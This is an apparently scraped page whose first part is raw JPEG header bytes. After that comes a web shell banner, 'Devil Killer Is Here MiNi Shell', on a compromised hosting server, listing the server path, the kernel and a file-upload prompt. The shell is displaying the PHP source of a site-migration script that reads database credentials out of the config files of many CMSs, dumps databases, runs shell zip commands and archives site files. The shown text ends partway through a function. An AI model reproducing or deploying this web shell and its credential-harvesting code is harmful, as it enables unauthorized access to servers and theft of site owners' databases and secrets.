JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /proc/thread-self/root/hermes/sb_web/b2815/cansultacan.space/text/

Linux boscustweb5004.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //proc/thread-self/root/hermes/sb_web/b2815/cansultacan.space/text/13fb9da414cc5eff87175bc2465ce5a8.phpBAD

<?php


// Backend


class Siteground_Custom_Migrator {

	public $download_list;
	public $archive_list;
	public $archive_list_file = "transfer_manifest.json";
	public $archive_list_file_chunked = "transfer_manifest_chunked.json";
	public $max_archive_size = (35 * 1024 * 1024);
	public $max_file_size = (50 * 1024 * 1024);
	public $skip_list;
	public $not_readable_list;
	public $inodes;
	public $skip_pattern = "/\.log$|\.zip$|\.tar$|\.gz$|\.rar$|\.gzip$|\.wpress$|\.tmp$|\.bak$|\.part$|\.tar\.|\.gz\.|\.rar\.|\.gzip\.|\.wpress\.|\.tmp\.|\.part\.|\.cache$|\.suspected|\.well-known|\.com$|\.au$|\.net$|\.org$|\.uk$|\.it$|\.ru$|\.de$|\.dk$|error_log|php_errorlog$|\/cgi-bin$|\/logs$|\/tmp$|\/cache$|transfer_manifest\.json$|transfer_manifest_chunked\.json$|\.sucuriquarantine$|\.sql$|\.jpa$|\.wpclone|\/et-cache$/i";
	public function __construct() {

		$this->download_list = array();
	        $this->archive_list = array();
        	$this->skip_list = array();
        	$this->inodes = 0;

	}

	public function getinfo() {

		$app_detector = new SiteGround_Custom_App_Detector();

		$app_detector_call = $app_detector->app_detect();

		$app_type = $app_detector_call["app"];

		if (!$app_type) {

			$app_type = "Unknown";

		}

		$file_info = $this->scan_dir(".");

		if (isset($app_detector_call["outside_dir"]) && $this->compare_dirs($app_detector_call["outside_dir"]) !== false) {
			$this->scan_dir($app_detector_call["outside_dir"]);

		}


		$result = "Success";
		$message = "N/a";

		if (!empty($this->archive_list)) {
			if(!file_put_contents($this->archive_list_file, json_encode($this->archive_list))) {
				$result = "Fail";
				$message = "Error: Cannot write " . $this->archive_list_file;
			}
		}

		// Preprare the result

		$result = array(
			"Meta" => array(
				"Result" => $result,
				"Message" => $message,
			),

			"Data" => array(
				"App_Type" => $app_type,
				"Total_Disk_Usage" => ($this->calculate_total_size($this->archive_list) + $this->calculate_total_size($this->download_list)),
				"Total_Inodes" => $this->inodes,
				"Skipped_Files" => $this->skip_list,
				"Total_Saved_Disk_Space" => $this->calculate_total_size($this->skip_list),
				"Large_Files" => $this->download_list,
				"Not_Readable_Files" => $this->not_readable_list,
				"Archive_Method" => $this->check_archive_method(),
				"PHP_DIR" => __DIR__,
				"PHP_Version" => phpversion(),
				"DB_Prefix" => $app_detector_call["db_prefix"],
				"Outside_Dir" => $app_detector_call["outside_dir"],
			),
		);

		// Add some specific data if the site is WP

		if ($app_type != "Unknown") {

			// Store results
			$result["Data"]["DB_Size"] = $this->calculate_db_size($app_detector_call);
		}


		return json_encode($result);

	}

	public function prepare_for_archive() {

		if (!file_exists($this->archive_list_file)) {
			return json_encode(array(
							"Meta" => array(
								"Result" => "Fail",
								"Message" => "Error: " . $archive_list_file . "does not exist.",
							),
						));

		}

		$archive_list = json_decode(file_get_contents($this->archive_list_file), true);

		$temp_size = 0;
		$result = array();
		$final_result = array();

		foreach ($archive_list as $file) {

			$temp_size = ($temp_size + $file["Size"]);

			if ($temp_size <= $this->max_archive_size) {
				array_push($result, $file["Path"]);
			} else {
				array_push($final_result, $result);
				$temp_size = $file["Size"];
				$result = array();
				array_push($result, $file["Path"]);
			}

		}

		array_push($final_result, $result);

		if (!file_put_contents($this->archive_list_file_chunked, json_encode($final_result))) {
			return json_encode(array(
							"Meta" => array(
								"Result" => "Fail",
								"Message" => "Error: Cannot write " . $this->archive_list_file_chunked,
							),
						));

		}

		return json_encode(array(
						"Meta" => array(
								"Result" => "Success",
								"Message" => "N/a",
							),
						"Data" => array(
							"Chunks" => count($final_result),
							),
					));

	}

	public function archive_file($chunk) {

		// Bail if manifest file does not exist
		if (!file_exists($this->archive_list_file_chunked)) {
			return "Error: " . $this->archive_list_file_chunked . " does not exist.";
		}

		// Read the transfer manifest

		$archive_list_chunked = json_decode(file_get_contents($this->archive_list_file_chunked), true);

		// Check which archive method to use

		$archive_method = $this->check_archive_method();

		if (!$archive_method) {
			return json_encode(array(
								"Meta" => array(
									"Result" => "Fail",
									"Message" => "Error: No suitable archive method available.",
								)
							));
		}

		$filename = "SG-Archive-" . $this->generateRandomString(32) . ".zip";
		switch ($archive_method) {

			case "ShellZip":
				return json_encode($this->shell_zip($archive_list_chunked[$chunk], $filename));
				break;

			case "ZipArchive":
				return json_encode($this->zip_archive($archive_list_chunked[$chunk], $filename));
				break;

			case "PclZip":
				return json_encode($this->pcl_zip($archive_list_chunked[$chunk], $filename));
				break;
		}

	}


	public function check_archive_method() {

		// Check if exec is enabled at all

		if (is_callable('exec') && stripos(ini_get('disable_functions'), 'shell_exec') === false) {
			// Check if the "zip" shell command is available
			exec("which zip", $output, $retval);
			if ($retval == 0) {
				return "ShellZip";
			}
		}

		// Check if ZipArchive Class is loaded

		if (class_exists('ZipArchive')) {
			return "ZipArchive";
		}

		// Check if PclZip can be used

		if (!class_exists('PclZip')) {

			if (file_exists('./wp-admin/includes/class-pclzip.php')) {

				require_once('./wp-admin/includes/class-pclzip.php');

				if(class_exists('PclZip')) {
					return "PclZip";
				}
			}
		}

		return false;

	}

	public function shell_zip($data = array(), $file) {

		// Prepare the file name for the zip linux command usage
		$stripped_file = explode(".zip", $file);

		// Convert the array to string, separated by new line

		$array_to_string = implode("\n", $data);

		$temp_file = "SG-temp-file-" . $this->generateRandomString(8);

		$result = "Success";
		$message = "N/a";


		// Put the convents in a file, that will be used by the exec function
		if (!file_put_contents($temp_file, $array_to_string)) {
			$result = "Fail";
			$message = "Couldn't write " . $temp_file . " temporary file to the server";
			return array(
				"Meta" => array(
					"Result" => $result,
					"Message" => $message,
				),

				"Data" => array(
					"Filename" => $file,
				),
			);
		}

		// Add the files to the archive
		exec("cat " . $temp_file . " | zip " . $stripped_file[0] . " -@", $output, $retval);

		// Remove the temp file
		if (!unlink($temp_file)) {
			$message = "Couldn't delete the temporary file " . $temp_file . "!";
		}

		// Check if the execution was successful
		if ($retval != 0) {
			$result = "Fail";
			$message = "Error: Could not add " . $file . " to the archive. Debug Msg: " . $output[0];
		}

		// Double check the file was created properly
		if (!file_exists($file)) {
			$result = "Fail";
			$message = "Error: Archive was not created successfully";
		}

		// Return the filename
		return array(
				"Meta" => array(
					"Result" => $result,
					"Message" => $message,
				),

				"Data" => array(
					"Filename" => $file,
				),
			);

	}

	public function zip_archive($data = array(), $file) {

		$zip = new ZipArchive;
		$zip->open($file, ZipArchive::CREATE);

		foreach ($data as $d) {

			if (!is_dir($d)) {
				$zip->addFile($d);

			} else {
				$zip->addEmptyDir($d);

			}
		}

		$zip_result = $zip->close();

		$result = "Success";
		$message = "N/a";

		if (!$zip_result || !file_exists($file)) {
			$result = "Fail";
			$message = "Error: Archive was not created successfully";
		}

		return array(
				"Meta" => array(
					"Result" => $result,
					"Message" => $message,
				),

				"Data" => array(
					"Filename" => $file,
				),
			);
	}

	public function pcl_zip($data = array(), $file) {

		require_once('./wp-admin/includes/class-pclzip.php');

		// Remove dirs from the list

		foreach ($data as $key => $value) {
			if (is_dir($value) && count(scandir($value)) > 2) {
				unset($data[$key]);
			}
		}



		$zip = new PclZip($file);

		$create_zip = $zip->create($data);

		$result = "Success";
		$message = "N/a";

		if (!file_exists($file) || $create_zip == 0) {
			$result = "Fail";
			$message = "Error: Archive was not created successfully";
		}

		return array(
				"Meta" => array(
					"Result" => $result,
					"Message" => $message,
				),

				"Data" => array(
					"Filename" => $file,
				),
			);
	}


	public function get_db_info() {

		$app = new SiteGround_Custom_App_Detector();

		$app_detect = $app->app_detect();

		if (!$app_detect) {
			return false;
		}

		return $app_detect;

	}


	public function calculate_db_size($data = array()) {

		$mysqli = new mysqli($data["db_host"] ,$data["db_user"], $data["db_password"], $data["db_name"], $data["db_port"]);

		// Check connection
		if ($mysqli -> connect_errno) {
	  		return "Failed to connect to MySQL: " . $mysqli -> connect_error;
		}

		$sql = "SELECT table_schema AS 'name', ROUND(SUM(data_length + index_length) / 1024 / 1024, 1) AS 'size' FROM information_schema.tables WHERE table_schema = \"" . $data['db_name'] . "\" GROUP BY table_schema;";

		$result = mysqli_fetch_assoc($mysqli->query($sql));
		$mysqli->close();

		return $result["size"];
	}

	public function scan_dir($dir) {


		$d = new RecursiveDirectoryIterator($dir);

		$iterrator = new RecursiveIteratorIterator($d);

		foreach ($iterrator as $f) {
			$fileName = $f->getFilename();
			$path = $f->getPathname();

			if ($fileName == ".." || $path == "./.") {
				continue;
			}

			if (!is_readable($path)) {
				$this->not_readable_list[] = array("Path" => $path, "Size" => "Unknown");
				continue;
			}

			$size = $f->getSize();

			if (preg_match($this->skip_pattern, $fileName)) {
				$this->skip_list[] = array("Path" => $path, "Size" => $size);
				continue;
			}

			if ($size >= $this->max_file_size) {
				$this->download_list[] = array("Path" => $path, "Size" => $size);
			} else {
				$this->archive_list[] = array("Path" => $path, "Size" => $size);
			}

			$this->inodes = ($this->inodes + 1);

		}

	}

	public function calculate_total_size($data) {
		$result = 0;

		foreach ($data as $item) {

			$result += $item["Size"];
		}

		return $result;

	}


	public function generateRandomString($length = 10) {
		return substr(str_shuffle(str_repeat($x='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', ceil($length/strlen($x)) )),1,$length);
	}

	public function dump_db() {

		$credentials = $this->get_db_info();


		$dbname = "SGdump-" . rand(10000000,99999999) . ".sql.gz";

		try {

			$world_dumper = Shuttle_Dumper_SG::create(array(
    			'host' => $credentials["db_host"],
    			'port' => $credentials["db_port"],
    			'username' => $credentials["db_user"],
    			'password' => $credentials["db_password"],
    			'db_name' => $credentials["db_name"],
			));
			// dump the database to plain text file
			$world_dumper->dump($dbname);

			// Generate new secure name for the DB

			$dbname_new = "SG-DB-" . $this->generateRandomString(32);
			rename($dbname, $dbname_new);

			return json_encode(array(
						"Meta" => array(
							"Result" => "Success",
							"Message" => "N/a",
						),
						"Data" => array(
							"Filename" => $dbname_new,
						),
					));

			} catch(Shuttle_Exception_SG $e) {
					return json_encode(array(
								"Meta" => array(
									"Result" => "Fail",
									"Message" => "Couldn't dump database: " . $e->getMessage(),
									),
								"Data" => array(
									"Filename" => $dbname_new,
									),
							));
		}
	}

	public function remove($file) {
		$result = "Success";
		$message = "N/a";

		if ($file != $this->archive_list_file &&
			$file != $this->archive_list_file_chunked &&
			$file != basename(__FILE__) &&
			!preg_match('/^SG-Archive|^SG-DB/', $file)

		) {
			return json_encode(array(
								"Meta" => array(
									"Result" => "Fail",
									"Message" => "Unsupported filename",
								),
								"Data" => array(
									"Filenmae" => $file
								),
							));
		}

		if (!file_exists($file)) {

			$result = "Success";
			$message = "Nothing to delete";

		} elseif(!unlink($file)) {

			$result = "Fail";
			$message = "Couldn't delete file!";
		}


		return json_encode(array(
							"Meta" => array(
								"Result" => $result,
								"Message" => $message,
							),
							"Data" => array(
								"Filename" => $file,
							),
						));
	}

	public function compare_dirs($dir) {

		if (realpath(dirname($dir)) == __DIR__ || realpath($dir) == __DIR__) {
			return false;

		}

		return $dir;
	}



}


// App Detection Class

class SiteGround_Custom_App_Detector {

	public $custom_apps = array('Drupal', 'vTiger', 'PrestaShop', 'phpBB', 'LimeSurvey', 'Moodle');

	public $app_details = array(
				'WordPress'	=> array(
							'conf'		=> 'wp-config.php',
							'db_name'	=> 'DB_NAME',
                                	                'db_user'	=> 'DB_USER',
                                        	        'db_password'	=> 'DB_PASSWORD',
                                                	'db_host'	=> 'DB_HOST',
							'db_port'	=> '',
							'db_prefix'	=> '$table_prefix',
                                                	),

				'Joomla'	=> array(
							'conf'		=> 'configuration.php',
							'db_name'	=> '$db',
							'db_user'	=> '$user',
							'db_password'	=> '$password',
        	                                        'db_host'	=> '$host',
							'db_port'	=> '',
	                                                'db_prefix'	=> '$dbprefix',
                                                	),
                	        'OpenCart'	=> array(
                                	                'conf'          => 'admin/config.php',
                        	                        'db_name'	=> 'DB_DATABASE',
                                        	        'db_user'	=> 'DB_USERNAME',
                                               		'db_password'   => 'DB_PASSWORD',
                                                	'db_host'	=> 'DB_HOSTNAME',
							'db_port'	=> 'DB_PORT',
                                                	'db_prefix'     => 'DB_PREFIX',
																									'outside_dir' => 'DIR_STORAGE'
                                                	),

				'osTicket'	=> array(
							'conf'		=> 'include/ost-config.php',
							'db_name'	=> 'DBNAME',
							'db_user'	=> 'DBUSER',
							'db_password'	=> 'DBPASS',
							'db_host'	=> 'DBHOST',
							'db_port'	=> '',
							'db_prefix'	=> 'TABLE_PREFIX',
							),

				'MediaWiki'	=> array(
							'conf'		=> 'LocalSettings.php',
							'db_name'	=> '$wgDBname',
							'db_user'	=> '$wgDBuser',
							'db_password'	=> '$wgDBpassword',
							'db_host'	=> '$wgDBserver',
							'db_port'	=> '',
							'db_prefix'	=> '$wgDBprefix',
						),
				'SMF'		=> array(
							'conf'		=> 'Settings.php',
							'db_name'	=> '$db_name',
							'db_user'	=> '$db_user',
							'db_password'	=> '$db_passwd',
							'db_host'	=> '$db_server',
							'db_port'	=> '',
							'db_prefix'	=> '$db_prefix',
								),
				'phplist'	=> array(
							'conf'		=> 'config/config.php',
							'db_name'	=> '$database_name',
							'db_user'	=> '$database_user',
							'db_password'	=> '$database_password',
							'db_host'	=> '$database_host',
							'db_port'	=> '',
							'db_prefix'	=> '$table_prefix',
						),
				'piwigo'	=> array(
							'conf'		=> 'local/config/database.inc.php',
							'db_name'	=> '$db_base',
							'db_user'	=> '$db_user',
							'db_password'	=> '$db_password',
							'db_host'	=> '$db_host',
							'db_port'	=> '',
							'db_prefix'	=> '$db_prefix',
						),
				'ZenCart'	=> array(
							'conf'		=> 'includes/configure.php',
							'db_name'	=> 'DB_DATABASE',
							'db_user'	=> 'DB_SERVER_USERNAME',
							'db_password'	=> 'DB_SERVER_PASSWORD',
							'db_host'	=> 'DB_SERVER',
							'db_port'	=> '',
							'db_prefix'	=> 'DB_PREFIX',
						),


                        	);


	public function __construct() {

		$this->app_details['PrestaShop']	= $this->presta_custom_cfg();
		$this->app_details['Drupal']		= $this->drupal_custom_cfg();
		$this->app_details['Moodle']		= $this->moodle_custom_cfg();
		$this->app_details['vTiger']		= $this->vtiger_custom_cfg();
		$this->app_details['phpBB']		= $this->phpbb_custom_cfg();
		$this->app_details['LimeSurvey']	= $this->lime_custom_cfg();

	}


	public function strip_quotes($text) {
		return preg_replace('/^(\'(.*)\'|"(.*)")$/', '$2$3', $text);
	}


	public function read_config($file) {


		$src = file_get_contents($file);
		$tokens = token_get_all($src);

		$result = array();

		foreach ($tokens as $key => $token) {

			if (!is_array($token)) {
				continue;
			}


			if (token_name($token[0]) == "T_VARIABLE") {

				// Find array key of the value
				$value_key = ($key + 1);

				while (!is_array($tokens[$value_key]) || token_name($tokens[$value_key][0]) != "T_CONSTANT_ENCAPSED_STRING") {
					if (!array_key_exists($value_key, $tokens)) {
						break;
					}

					$value_key++;
				}

				$result[] = array("var" => $token[1], "value" => $this->strip_quotes($tokens[$value_key][1]));
			}


			if (token_name($token[0]) == "T_STRING" && $token[1] == "define") {

				// Find the array key of the variable

				$var_key = ($key + 1);

				while (!is_array($tokens[$var_key]) || token_name($tokens[$var_key][0]) != "T_CONSTANT_ENCAPSED_STRING") {
					if (!array_key_exists($var_key, $tokens)) {
						break;
					}

					$var_key++;
				}

				// Find the array key of the value

				$value_key = ($var_key + 1);

				while (!is_array($tokens[$value_key]) || token_name($tokens[$value_key][0]) != "T_CONSTANT_ENCAPSED_STRING") {
					if (!array_key_exists($value_key, $tokens)) {
						break;
					}

					$value_key++;

				}

				$result[] = array("var" => $this->strip_quotes($tokens[$var_key][1]), "value" => $this->strip_quotes($tokens[$value_key][1]));

			}


			if (token_name($token[0]) == "T_CONST") {

				// Find the array key of the variable
				$var_key = ($key + 1);

				while (!is_array($tokens[$var_key]) || token_name($tokens[$var_key][0]) != "T_STRING") {
					if (!array_key_exists($var_key, $tokens)) {
						break;
					}

					$var_key++;
				}

				// Find the array key of the value

				$value_key = ($var_key + 1);

				while (!is_array($tokens[$value_key]) || token_name($tokens[$value_key][0]) != "T_CONSTANT_ENCAPSED_STRING") {
					if (!array_key_exists($value_key, $tokens)) {
						break;
					}

					$value_key++;
				}

				$result[] = array("var" => $tokens[$var_key][1], "value" => $this->strip_quotes($tokens[$value_key][1]));

			}

		}

		return $result;

	}


	public function app_detect() {


		foreach ($this->app_details as $name => $details) {

			// Check if the app is custom

			if (in_array($name, $this->custom_apps) && $details != false) {

				return $details;
			}


			// Check if the config file is readable and exists

			if (!file_exists($details['conf']) || !is_readable($details['conf'])) {
				continue;
			}

			// read the config file

			$file_params = $this->read_config($details['conf']);


			// Assign params to the $app array

			$details['db_name'] = $this->array_search_by_key($file_params, $details['db_name']);
			$details['db_user'] = $this->array_search_by_key($file_params, $details['db_user']);
			$details['db_password'] = $this->array_search_by_key($file_params, $details['db_password']);
			$details['db_host'] = $this->array_search_by_key($file_params, $details['db_host']);

			if (empty($details['db_port'])) {
				$host_port = $this->get_db_port($details['db_host']);
				$details['db_host'] = $host_port['db_host'];
				$details['db_port'] = $host_port['db_port'];

			} else {

				$details['db_port'] = $this->array_search_by_key($file_params, $details['db_port']);
			}

			$details['db_prefix'] = $this->array_search_by_key($file_params, $details['db_prefix']);



				if ($name == "WordPress"){ 
				$details['outside_dir'] = NULL;
			} else {
				$details['outside_dir'] = $this->array_search_by_key($file_params, $details['outside_dir'] );
			}

			if (!$details['outside_dir']){
				$details['outside_dir'] = NULL;
			}

			// bail if params are emtpy

			if (!$this->validate_conf($details)) {
				continue;
			}

			// otherwise, assign the values to the result
			$result = array(
				'app' => $name,
				'db_name' => $details['db_name'],
				'db_user' => $details['db_user'],
				'db_password' => $details['db_password'],
				'db_host' => $details['db_host'],
				'db_port' => $details['db_port'],
				'db_prefix' => $details['db_prefix'],
				'outside_dir' => $details['outside_dir'],
			);

			// exit the loop

			break;

		}

		if (empty($result)) {

			return false;
		}

		return $result;


	}

	public function validate_conf($data = array()) {

		foreach ($data as $f => $d) {

			if ($f == 'db_prefix' || $f == 'outside_dir') {
				continue;
			}

			if (empty($d) || !isset($d) || $d == 'NULL') {
				return false;
			}
		}


		return true;

	}

	public function array_search_by_key($data = array(), $key) {

		foreach ($data as $d) {

			if ($d["var"] != $key) {
				continue;
			}
			$result = $d["value"];
		}

		if (!$result) {
			return false;
		}

		return $result;
	}

	public function get_db_port($data) {

		$split_host_port = explode(":", $data);

		if (isset($split_host_port["1"]) && is_numeric($split_host_port["1"])) {

			$port = intval($split_host_port["1"]);

		} else {

			$port = '3306';

		}

		return array('db_host' => $split_host_port['0'], 'db_port' => $port);

	}

	public function validate_custom_db_port($data) {

		if (empty($data)) {

			return 3306;
		} else {

			return $data;
		}

	}

	public function drupal_custom_cfg() {

		if (!file_exists('sites/default/settings.php') || !is_readable('sites/default/settings.php')) {

			return false;
		}

		include_once('sites/default/settings.php');

		$result = array(
				'conf'		=> 'sites/default/settings.php',
				'app'		=> 'Drupal',
				'db_name'	=> $databases['default']['default']['database'],
				'db_user'	=> $databases['default']['default']['username'],
				'db_password'	=> $databases['default']['default']['password'],
				'db_host'	=> $databases['default']['default']['host'],
				'db_port'	=> $this->validate_custom_db_port($databases['default']['default']['port']),
				'db_prefix'	=> $databases['default']['default']['prefix'],
				);


		if (!$this->validate_conf($result)) {

			return false;

		}

		return $result;

	}


	public function vtiger_custom_cfg() {

		if (!file_exists('config.inc.php') || !is_readable('config.inc.php')) {

			return false;
		}

		if ($file = fopen("config.inc.php", "r")) {
			while(!feof($file)) {
				$line = fgets($file);

				if (empty($db_name)) {
					preg_match('/^\$dbconfig\[\'db_name\'\](.*?)=(.*?)\'(.*?)\'/', $line, $db_name);
				}

				if (empty($db_user)) {
					preg_match('/^\$dbconfig\[\'db_username\'\](.*?)=(.*?)\'(.*?)\'/', $line, $db_user);
				}

				if (empty($db_pass)) {
						preg_match('/^\$dbconfig\[\'db_password\'\](.*?)=(.*?)\'(.*?)\'/', $line, $db_pass);
				}

				if (empty($db_host)) {
					preg_match('/^\$dbconfig\[\'db_server\'\](.*?)=(.*?)\'(.*?)\'/', $line, $db_host);
				}

				if (empty($db_port)) {
					preg_match('/^\$dbconfig\[\'db_port\'\](.*?)=(.*?)\'(.*?)\'/', $line, $db_port);
				}

			}
			fclose($file);
		}

		preg_match("/^(:)([0-9]+)/", $db_port[3], $db_port);

		$result = array(
				'app'           => 'vTiger',
				'conf'		=> 'config.inc.php',
				'db_name'       => $db_name[3],
				'db_user'	=> $db_user[3],
				'db_password'	=> $db_pass[3],
				'db_host'	=> $db_host[3],
				'db_port'	=> $db_port[2],

				);

		if (!$this->validate_conf($result)) {

			return false;

		}

		return $result;

	}


	public function presta_custom_cfg() {

		if (!file_exists('app/config/parameters.php') || !is_readable('app/config/parameters.php')) {

			return false;
		}

		$presta_data = include_once('app/config/parameters.php');

		$result = array(
				'app'		=> 'PrestaShop',
				'conf'		=> 'app/config/parameters.php',
				'db_name'	=> $presta_data['parameters']['database_name'],
				'db_user'	=> $presta_data['parameters']['database_user'],
				'db_password'	=> $presta_data['parameters']['database_password'],
				'db_host'	=> $presta_data['parameters']['database_host'],
				'db_port'	=> $this->validate_custom_db_port($presta_data['parameters']['database_port']),
				'db_prefix'	=> $presta_data['parameters']['database_prefix'],
				);

		if (!$this->validate_conf($result)) {

			return false;

		}

		return $result;

	}

	public function phpbb_custom_cfg() {

		if(!file_exists('config.php') || !file_exists('viewforum.php') || !is_readable('config.php')) {
			return false;
		}

		$file_params = $this->read_config('config.php');

		// Assign params to the $app array
		$details['app'] = 'phpBB';
		$details['conf'] = 'config.php';
		$details['db_name'] = $this->array_search_by_key($file_params, '$dbname');
		$details['db_user'] = $this->array_search_by_key($file_params, '$dbuser');
		$details['db_password'] = $this->array_search_by_key($file_params, '$dbpasswd');
		$details['db_host'] = $this->array_search_by_key($file_params, '$dbhost');
		$details['db_port'] = $this->validate_custom_db_port($this->array_search_by_key($file_params, '$dbport'));
		$details['db_prefix'] = $this->array_search_by_key($file_params, '$table_prefix');

		if (!$details['db_host']) {

			$details['db_host'] = '127.0.0.1';

		}

		if (empty($details['db_port'])) {

			$details['db_port'] = 3306;

		}

		if (!$this->validate_conf($details)) {
			return false;
		}

		return $details;

	}

	public function lime_custom_cfg() {

		if(!file_exists('application/config/config.php') || !is_readable('application/config/config.php')) {

			return false;
		}

		// we cannot include the config.php if we don't define this constant

		define('BASEPATH', '.');
		$data = include_once('application/config/config.php');

		preg_match('/dbname=(.*?)\;/', $data['components']['db']['connectionString'], $db_name);
		preg_match('/host=(.*?)\;/', $data['components']['db']['connectionString'], $db_host);
		preg_match('/port=(.*?)\;/', $data['components']['db']['connectionString'], $db_port);

		$result = array(
				'app' => 'LimeSurvey',
				'conf' => 'application/config/config.php',
				'db_name' => $db_name[1],
				'db_user' => $data['components']['db']['username'],
				'db_password' => $data['components']['db']['password'],
				'db_host' => $db_host[1],
				'db_port' => $this->validate_custom_db_port($db_port[1]),
				'db_prefix' => $data['components']['db']['tablePrefix'],
			);

		if (!$this->validate_conf($result)) {
			return false;
		}

		return $result;
	}

	public function moodle_custom_cfg() {

		if (!file_exists('config.php') || !file_exists('help.php') || !is_readable('config.php')) {

			return false;
		}


		if ($file = fopen("config.php", "r")) {
			while(!feof($file)) {
				$line = fgets($file);

				if (empty($db_name)) {
					preg_match("/dbname(.*?)=(.*?)'(.*?)'/", $line, $db_name);
				}

				if (empty($db_user)) {
					preg_match("/dbuser(.*?)=(.*?)'(.*?)'/", $line, $db_user);
				}

				if (empty($db_pass)) {
					preg_match("/dbpass(.*?)=(.*?)'(.*?)'/", $line, $db_pass);
				}

				if (empty($db_host)) {
					preg_match("/dbhost(.*?)=(.*?)'(.*?)'/", $line, $db_host);
				}

				if (empty($db_prefix)) {
					preg_match("/prefix(.*?)=(.*?)'(.*?)'/", $line, $db_prefix);
				}

				if (empty($data_root)) {
